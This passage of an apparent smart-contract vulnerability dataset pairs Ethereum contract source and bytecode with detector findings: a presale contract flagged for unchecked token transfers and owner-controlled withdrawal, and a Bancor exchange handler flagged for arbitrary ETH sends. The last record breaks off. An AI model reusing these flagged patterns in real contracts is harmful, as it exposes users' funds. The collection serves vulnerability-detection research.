//SPDX-License-Identifier: UNLICENSED
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract MIAPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
uint public tokensBought;
bool public isStopped = false;
bool public presaleStarted = false;
address payable owner;
address public pool;
uint256 public ethSent;
uint256 constant tokensPerETH = 14000;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
require(msg.sender == owner, "You are not the owner");
_;
}
constructor() {
owner = msg.sender;
}
receive() external payable {
buyTokens();
}
function setABS(IERC20 addr) external onlyOwner nonReentrant {
//require(ABS == IERC20(address(0)), "You can set the address only once");
ABS = addr;
}
function startPresale() external onlyOwner {
presaleStarted = true;
}
function pausePresale() external onlyOwner {
presaleStarted = false;
}
function returnUnsoldTokensToOwner(uint256 amount) external onlyOwner {
ABS.transfer(msg.sender, amount);
}
function buyTokens() public payable nonReentrant {
require(msg.sender == tx.origin);
require(presaleStarted == true, "Presale is paused, do not send ETH");
require(ABS != IERC20(address(0)), "Main contract address not set");
require(!isStopped, "Presale stopped by contract, do not send ETH");
// You could add here a reentry guard that someone doesnt buy twice
// like
//require (ethSpent[msg.sender] <= 1 ether);
//MIA: 3 ETH limit
//require(msg.value <= 3 ether, "You sent more than 3 ETH");
require(msg.value <= 3 ether, "You sent more than 3 ETH");
//MIA: presale cap
require(ethSent < 30 ether, "Hard cap reached");
require (msg.value.add(ethSent) <= 30 ether, "Hardcap reached");
//MIA: 3 ETH limit
require(ethSpent[msg.sender].add(msg.value) <= 3 ether, "You cannot buy more than 3 ETH");
uint256 tokens = msg.value.mul(tokensPerETH)/1e9;
require(ABS.balanceOf(address(this)) >= tokens, "Not enough tokens in the contract");
ethSpent[msg.sender] = ethSpent[msg.sender].add(msg.value);
tokensBought = tokensBought.add(tokens);
ethSent = ethSent.add(msg.value);
ABS.transfer(msg.sender, tokens);
}
function userEthSpenttInPresale(address user) external view returns(uint){
return ethSpent[user];
}
function claimTeamETH() external onlyOwner {
uint256 amountETH = address(this).balance;
owner.transfer(amountETH);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x6080604052600436106100c65760003560e01c8063732783ac1161007f578063cbf4efa111610059578063cbf4efa11461020c578063d0febe4c1461023f578063d7443eba14610247578063eca38e0c1461025c576100d5565b8063732783ac146101a65780637870c61c146101cd57806396e1bb21146101f7576100d5565b806304549d6f146100da57806304c98b2b14610103578063070f5c091461011857806316f0115b1461012d5780633f683b6a1461015e5780634a36a9c014610173576100d5565b366100d5576100d3610271565b005b600080fd5b3480156100e657600080fd5b506100ef6106f6565b604080519115158252519081900360200190f35b34801561010f57600080fd5b506100d3610704565b34801561012457600080fd5b506100d3610772565b34801561013957600080fd5b506101426107dc565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100ef6107eb565b34801561017f57600080fd5b506100d36004803603602081101561019657600080fd5b50356001600160a01b03166107f4565b3480156101b257600080fd5b506101bb6108ce565b60408051918252519081900360200190f35b3480156101d957600080fd5b506100d3600480360360208110156101f057600080fd5b50356108d4565b34801561020357600080fd5b506100d36109b4565b34801561021857600080fd5b506101bb6004803603602081101561022f57600080fd5b50356001600160a01b0316610a55565b6100d3610271565b34801561025357600080fd5b50610142610a70565b34801561026857600080fd5b506101bb610a7f565b600260005414156102c9576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026000553332146102da57600080fd5b60035460ff6101009091041615156001146103265760405162461bcd60e51b8152600401808060200182810382526022815260200180610bb06022913960400191505060405180910390fd5b6001546001600160a01b0316610383576040805162461bcd60e51b815260206004820152601d60248201527f4d61696e20636f6e74726163742061646472657373206e6f7420736574000000604482015290519081900360640190fd5b60035460ff16156103c55760405162461bcd60e51b815260040180806020018281038252602c815260200180610b42602c913960400191505060405180910390fd5b6729a2241af62c0000341115610422576040805162461bcd60e51b815260206004820152601860248201527f596f752073656e74206d6f7265207468616e2033204554480000000000000000604482015290519081900360640190fd5b6801a055690d9db8000060055410610474576040805162461bcd60e51b815260206004820152601060248201526f12185c990818d85c081c995858da195960821b604482015290519081900360640190fd5b6801a055690d9db8000061049360055434610a8590919063ffffffff16565b11156104d8576040805162461bcd60e51b815260206004820152600f60248201526e12185c9918d85c081c995858da1959608a1b604482015290519081900360640190fd5b336000908152600660205260409020546729a2241af62c0000906104fc9034610a85565b111561054f576040805162461bcd60e51b815260206004820152601e60248201527f596f752063616e6e6f7420627579206d6f7265207468616e2033204554480000604482015290519081900360640190fd5b6000633b9aca00610562346136b0610ae8565b8161056957fe5b600154604080516370a0823160e01b8152306004820152905193909204935083926001600160a01b03909116916370a08231916024808301926020929190829003018186803b1580156105bb57600080fd5b505afa1580156105cf573d6000803e3d6000fd5b505050506040513d60208110156105e557600080fd5b505110156106245760405162461bcd60e51b8152600401808060200182810382526021815260200180610b8f6021913960400191505060405180910390fd5b3360009081526006602052604090205461063e9034610a85565b3360009081526006602052604090205560025461065b9082610a85565b60025560055461066b9034610a85565b6005556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156106c257600080fd5b505af11580156106d6573d6000803e3d6000fd5b505050506040513d60208110156106ec57600080fd5b5050600160005550565b600354610100900460ff1681565b6003546201000090046001600160a01b03163314610761576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b6003805461ff001916610100179055565b6003546201000090046001600160a01b031633146107cf576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b6003805461ff0019169055565b6004546001600160a01b031681565b60035460ff1681565b6003546201000090046001600160a01b03163314610851576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b600260005414156108a9576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091178155600055565b60025481565b6003546201000090046001600160a01b03163314610931576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561098557600080fd5b505af1158015610999573d6000803e3d6000fd5b505050506040513d60208110156109af57600080fd5b505050565b6003546201000090046001600160a01b03163314610a11576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b60035460405147916201000090046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610a51573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526006602052604090205490565b6001546001600160a01b031681565b60055481565b600082820183811015610adf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600082610af757506000610ae2565b82820282848281610b0457fe5b0414610adf5760405162461bcd60e51b8152600401808060200182810382526021815260200180610b6e6021913960400191505060405180910390fdfe50726573616c652073746f7070656420627920636f6e74726163742c20646f206e6f742073656e6420455448536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774e6f7420656e6f75676820746f6b656e7320696e2074686520636f6e747261637450726573616c65206973207061757365642c20646f206e6f742073656e6420455448a264697066735822122048e0552af180c1096d96f6285b90bf35adf72b687cd208a05b285e025025586d64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,338 |
0xc496caeb3998111b827e208c4805f02b33563ab4
|
pragma solidity ^0.4.21;
// File: contracts/ExchangeHandler.sol
/// @title Interface for all exchange handler contracts
interface ExchangeHandler {
/// @dev Get the available amount left to fill for an order
/// @param orderAddresses Array of address values needed for this DEX order
/// @param orderValues Array of uint values needed for this DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Available amount left to fill for this order
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
/// @dev Perform a buy order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external payable returns (uint256);
/// @dev Perform a sell order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract Token is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface BancorConverter {
function quickConvert(address[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
}
contract BancorHandler is ExchangeHandler, Ownable {
address public totlePrimary;
uint256 constant MAX_UINT = 2**256 - 1;
modifier onlyTotle() {
require(msg.sender == totlePrimary, "BancorHandler - Only TotlePrimary allowed to call this function");
_;
}
constructor(
address _totlePrimary
) public {
require(_totlePrimary != address(0x0));
totlePrimary = _totlePrimary;
}
// Public functions
function getAvailableAmount(
address[8] orderAddresses, // [converterAddress, conversionPath ... ]
uint256[6] orderValues, // [amountToGive, minReturn, EMPTY, EMPTY, EMPTY, EMPTY]
uint256 exchangeFee, // ignore
uint8 v, // ignore
bytes32 r, // ignore
bytes32 s // ignore
) external returns (uint256) {
// Return amountToGive
return orderValues[0];
}
function performBuy(
address[8] orderAddresses, // [converterAddress, conversionPath ... ]
uint256[6] orderValues, // [amountToGive, minReturn, EMPTY, EMPTY, EMPTY, EMPTY]
uint256 exchangeFee, // ignore
uint256 amountToFill, // ignore
uint8 v, // ignore
bytes32 r, // ignore
bytes32 s // ignore
) external payable onlyTotle returns (uint256 amountObtained) {
address destinationToken;
(amountObtained, destinationToken) = trade(orderAddresses, orderValues);
transferTokenToSender(destinationToken, amountObtained);
}
function performSell(
address[8] orderAddresses, // [converterAddress, conversionPath ... ]
uint256[6] orderValues, // [amountToGive, minReturn, EMPTY, EMPTY, EMPTY, EMPTY]
uint256 exchangeFee, // ignore
uint256 amountToFill, // ignore
uint8 v, // ignore
bytes32 r, // ignore
bytes32 s // ignore
) external onlyTotle returns (uint256 amountObtained) {
approveExchange(orderAddresses[0], orderAddresses[1]);
(amountObtained, ) = trade(orderAddresses, orderValues);
transferEtherToSender(amountObtained);
}
function trade(
address[8] orderAddresses, // [converterAddress, conversionPath ... ]
uint256[6] orderValues // [amountToGive, minReturn, EMPTY, EMPTY, EMPTY, EMPTY]
) internal returns (uint256 amountObtained, address destinationToken) {
// Find the length of the conversion path
uint256 len;
for(len = 1; len < orderAddresses.length; len++) {
if(orderAddresses[len] == 0) {
require(len > 1, "BancorHandler - Invalid conversion path");
destinationToken = orderAddresses[len - 1];
len--;
break;
} else if(len == orderAddresses.length - 1) {
destinationToken = orderAddresses[len];
break;
}
}
// Create an array of that length
address[] memory conversionPath = new address[](len);
// Move the contents from orderAddresses to conversionPath
for(uint256 i = 0; i < len; i++) {
conversionPath[i] = orderAddresses[i + 1];
}
amountObtained = BancorConverter(orderAddresses[0])
.quickConvert.value(msg.value)(conversionPath, orderValues[0], orderValues[1]);
}
function transferTokenToSender(address token, uint256 amount) internal {
require(Token(token).transfer(msg.sender, amount), "BancorHandler - Failed to transfer token to msg.sender");
}
function transferEtherToSender(uint256 amount) internal {
msg.sender.transfer(amount);
}
function approveExchange(address exchange, address token) internal {
if(Token(token).allowance(address(this), exchange) == 0) {
require(Token(token).approve(exchange, MAX_UINT), "BancorHandler - Failed to approve token");
}
}
function withdrawToken(address _token, uint _amount) external onlyOwner returns (bool) {
return Token(_token).transfer(owner, _amount);
}
function withdrawETH(uint _amount) external onlyOwner returns (bool) {
owner.transfer(_amount);
}
function setTotle(address _totlePrimary) external onlyOwner {
require(_totlePrimary != address(0), "Invalid address for totlePrimary");
totlePrimary = _totlePrimary;
}
function() public payable {
// Check in here that the sender is a contract! (to stop accidents)
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size > 0, "BancorHandler - can only send ether from another contract");
}
}
|
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632183e390146101455780634102bf5c146101885780634981b3ca146102075780638da5cb5b146102905780639675bb9c146102e75780639e281a981461033e578063bdd5be2f146103a3578063f14210a61461041f578063f2fde38b14610464575b600080339050803b9150600082111515610141576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001807f42616e636f7248616e646c6572202d2063616e206f6e6c792073656e6420657481526020017f6865722066726f6d20616e6f7468657220636f6e74726163740000000000000081525060400191505060405180910390fd5b5050005b34801561015157600080fd5b50610186600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104a7565b005b34801561019457600080fd5b506101f160048036038101908080610100019091929192908060c00190919291929080359060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506105eb565b6040518082815260200191505060405180910390f35b34801561021357600080fd5b5061027a60048036038101908080610100019091929192908060c0019091929192908035906020019092919080359060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919050505061060d565b6040518082815260200191505060405180910390f35b34801561029c57600080fd5b506102a56107c3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102f357600080fd5b506102fc6107e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034a57600080fd5b50610389600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061080e565b604051808215151515815260200191505060405180910390f35b61040960048036038101908080610100019091929192908060c0019091929192908035906020019092919080359060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610972565b6040518082815260200191505060405180910390f35b34801561042b57600080fd5b5061044a60048036038101908080359060200190929190505050610ad2565b604051808215151515815260200191505060405180910390f35b34801561047057600080fd5b506104a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9c565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561050257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156105a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c6964206164647265737320666f7220746f746c655072696d61727981525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008560006006811015156105fc57fe5b602002013590509695505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f8152602001807f42616e636f7248616e646c6572202d204f6e6c7920546f746c655072696d617281526020017f7920616c6c6f77656420746f2063616c6c20746869732066756e6374696f6e0081525060400191505060405180910390fd5b61075688600060088110151561070c57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1689600160088110151561073657fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16610cf1565b6107aa88600880602002604051908101604052809291908260086020028082843782019150505050508860068060200260405190810160405280929190826006602002808284378201915050505050610fa0565b50809150506107b8816112cc565b979650505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561086b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561092f57600080fd5b505af1158015610943573d6000803e3d6000fd5b505050506040513d602081101561095957600080fd5b8101908080519060200190929190505050905092915050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f8152602001807f42616e636f7248616e646c6572202d204f6e6c7920546f746c655072696d617281526020017f7920616c6c6f77656420746f2063616c6c20746869732066756e6374696f6e0081525060400191505060405180910390fd5b610ab489600880602002604051908101604052809291908260086020028082843782019150505050508960068060200260405190810160405280929190826006602002808284378201915050505050610fa0565b8092508193505050610ac68183611316565b50979650505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610b96573d6000803e3d6000fd5b50919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c3357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610dc257600080fd5b505af1158015610dd6573d6000803e3d6000fd5b505050506040513d6020811015610dec57600080fd5b81019080805190602001909291905050501415610f9c578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ec657600080fd5b505af1158015610eda573d6000803e3d6000fd5b505050506040513d6020811015610ef057600080fd5b81019080805190602001909291905050501515610f9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f42616e636f7248616e646c6572202d204661696c656420746f20617070726f7681526020017f6520746f6b656e0000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b5b5050565b600080600060606000600192505b60088310156110df5760008784600881101515610fc757fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614156110ac57600183111515611086576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f42616e636f7248616e646c6572202d20496e76616c696420636f6e766572736981526020017f6f6e20706174680000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b866001840360088110151561109757fe5b602002015193508280600190039350506110df565b60016008038314156110d25786836008811015156110c657fe5b602002015193506110df565b8280600101935050610fae565b8260405190808252806020026020018201604052801561110e5781602001602082028038833980820191505090505b509150600090505b8281101561118b57866001820160088110151561112f57fe5b6020020151828281518110151561114257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611116565b86600060088110151561119a57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663f0843ba934848960006006811015156111cb57fe5b60200201518a60016006811015156111df57fe5b60200201516040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001848152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561125e578082015181840152602081019050611243565b505050509050019450505050506020604051808303818588803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50505050506040513d60208110156112af57600080fd5b810190808051906020019092919050505094505050509250929050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611312573d6000803e3d6000fd5b5050565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113b957600080fd5b505af11580156113cd573d6000803e3d6000fd5b505050506040513d60208110156113e357600080fd5b8101908080519060200190929190505050151561148e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001807f42616e636f7248616e646c6572202d204661696c656420746f207472616e736681526020017f657220746f6b656e20746f206d73672e73656e6465720000000000000000000081525060400191505060405180910390fd5b50505600a165627a7a7230582050b5408034b1a2f9969d8cd60c749dc4768a4b830b3d7465728b398eeda077a10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,339 |
0x7119de13373533f72b14f73294fade2daa6d41e0
|
/**
*Submitted for verification at Etherscan.io on 2021-05-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-29
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
